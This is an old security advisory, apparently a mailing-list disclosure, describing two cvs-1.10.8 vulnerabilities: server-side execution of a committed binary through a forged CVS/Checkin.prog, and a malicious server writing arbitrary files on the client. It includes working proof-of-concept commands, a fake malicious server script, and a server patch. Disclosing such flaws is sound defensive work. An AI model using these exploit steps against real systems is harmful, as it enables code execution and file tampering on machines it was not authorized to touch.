cvs-1.10.8.txt

`I found two security problems in cvs-1.10.8.  
  
(1) A committer can execute any binary in server using  
CVS/Checkin.prog or CVS/Update.prog.  
  
A committer can execute arbitrary binary on a cvs server using  
Checkin.prog. Usually CVS/Checkin.prog in a working directory is  
copied from CVSROOT/modules when the directory is checkouted and it is  
sent back to the server and executed with committing. Note that when  
it is executed, committed files are exsists in a current directory.  
  
Since a working directory can be modified by a committer which have  
the working directory, Checkin.prog may be modified or even newly  
created. If an evil committer do it, cvs server executes such forged  
Checkin.prog. Also note that the evil committer can create arbitrary  
binary file by `cvs add -kb' and `cvs commit'. So the evil committer  
can execute just committed binary file by via Checkin.prog triggerd by  
the `cvs commit'.  
  
Note that similar problem exists with CVS/Update.prog.  
  
Following example is that a committer sends `ls' binary and executes  
in the server. (it assumes that the server and the client is same  
architecture.)  
  
% cvs -d :pserver:test@localhost:/tmp/cvs -f co somemodule  
cvs server: Updating somemodule  
% cd somemodule  
% cp /bin/ls binary  
% cvs add -kb binary  
cvs server: scheduling file `binary' for addition  
cvs server: use 'cvs commit' to add this file permanently  
% echo ./binary > CVS/Checkin.prog  
% cvs commit -m 'test'  
cvs commit: Examining .  
RCS file: /tmp/cvs/somemodule/binary,v  
done  
Checking in binary;  
/tmp/cvs/somemodule/binary,v <-- binary  
initial revision: 1.1  
done  
cvs server: Executing ''./binary' '/tmp/cvs/somemodule''  
#cvs.lock  
#cvs.wfl.serein.m17n.org.14330  
binary,v  
  
This problem can be fixed by disabling two requests.  
  
--- server.c- Fri Apr 28 15:37:13 2000  
+++ server.c Fri Apr 28 15:38:06 2000  
@@ -4553,8 +4553,6 @@  
REQ_LINE("Max-dotdot", serve_max_dotdot, 0),  
REQ_LINE("Static-directory", serve_static_directory, 0),  
REQ_LINE("Sticky", serve_sticky, 0),  
- REQ_LINE("Checkin-prog", serve_checkin_prog, 0),  
- REQ_LINE("Update-prog", serve_update_prog, 0),  
REQ_LINE("Entry", serve_entry, RQ_ESSENTIAL),  
REQ_LINE("Kopt", serve_kopt, 0),  
REQ_LINE("Checkin-time", serve_checkin_time, 0),  
  
(2) cvs server can instruct to create any file at any locaiton in  
client machine.  
  
With cvs protocol, client side paths are processed by server and  
client blindly trusts paths in server responses, cvs server can create  
any file at any locaiton in client machine.  
  
For example, if a client tries to checkout a module `tst' as:  
  
% cvs -f -d :ext:user@server:/cvsroot co tst  
  
and server includes a dangerous response as follows to its responses,  
the cilent creates /tmp/foo.  
  
Created /tmp/  
/cvsroot/tst/foo  
/foo/1.1///  
u=rw,g=rw,o=rw  
4  
abc  
  
This problem can be test yourself as follows. Although this example  
runs faked cvs server using :ext: method, this vulnerability is  
available in any methods (including :pserver: of course).  
  
% ls -l /tmp/foo  
ls: /tmp/foo: No such file or directory  
% cat crackers-cvs-server  
#!/bin/sh  
  
cat <<'End'  
Valid-requests Root Valid-responses valid-requests Repository Directory Max-dotdot Static-directory Sticky Checkin-prog Update-prog Entry Kopt Checkin-time Modified Is-modified UseUnchanged Unchanged Notify Questionable Case Argument Argumentx Global_option Gzip-stream wrapper-sendme-rcsOptions Set Kerberos-encrypt expand-modules ci co update diff log add remove update-patches gzip-file-contents status rdiff tag rtag import admin export history release watch-on watch-off watch-add watch-remove watchers editors init annotate noop  
ok  
Module-expansion tst  
ok  
Clear-sticky tst/  
/cvsroot/tst/  
Clear-static-directory tst/  
/cvsroot/tst/  
E cvs server: Updating tst  
Created /tmp/  
/cvsroot/tst/foo  
/foo/1.1///  
u=rw,g=rw,o=rw  
4  
abc  
ok  
End  
% CVS_RSH=./crackers-cvs-server cvs -f -d :ext:user@server:/cvsroot co tst  
cvs server: Updating tst  
cvs checkout: in directory /tmp:  
cvs checkout: cannot open CVS/Entries for reading: No such file or directory  
cvs checkout: cannot open CVS/Entries.Log: No such file or directory  
% ls -l /tmp/foo  
-rw-r--r-- 1 akr wheel 4 Jul 19 22:01 /tmp/foo  
% cat /tmp/foo  
abc  
  
Currently, I don't have a patch to fix this problem.  
--  
Tanaka Akira  
  
`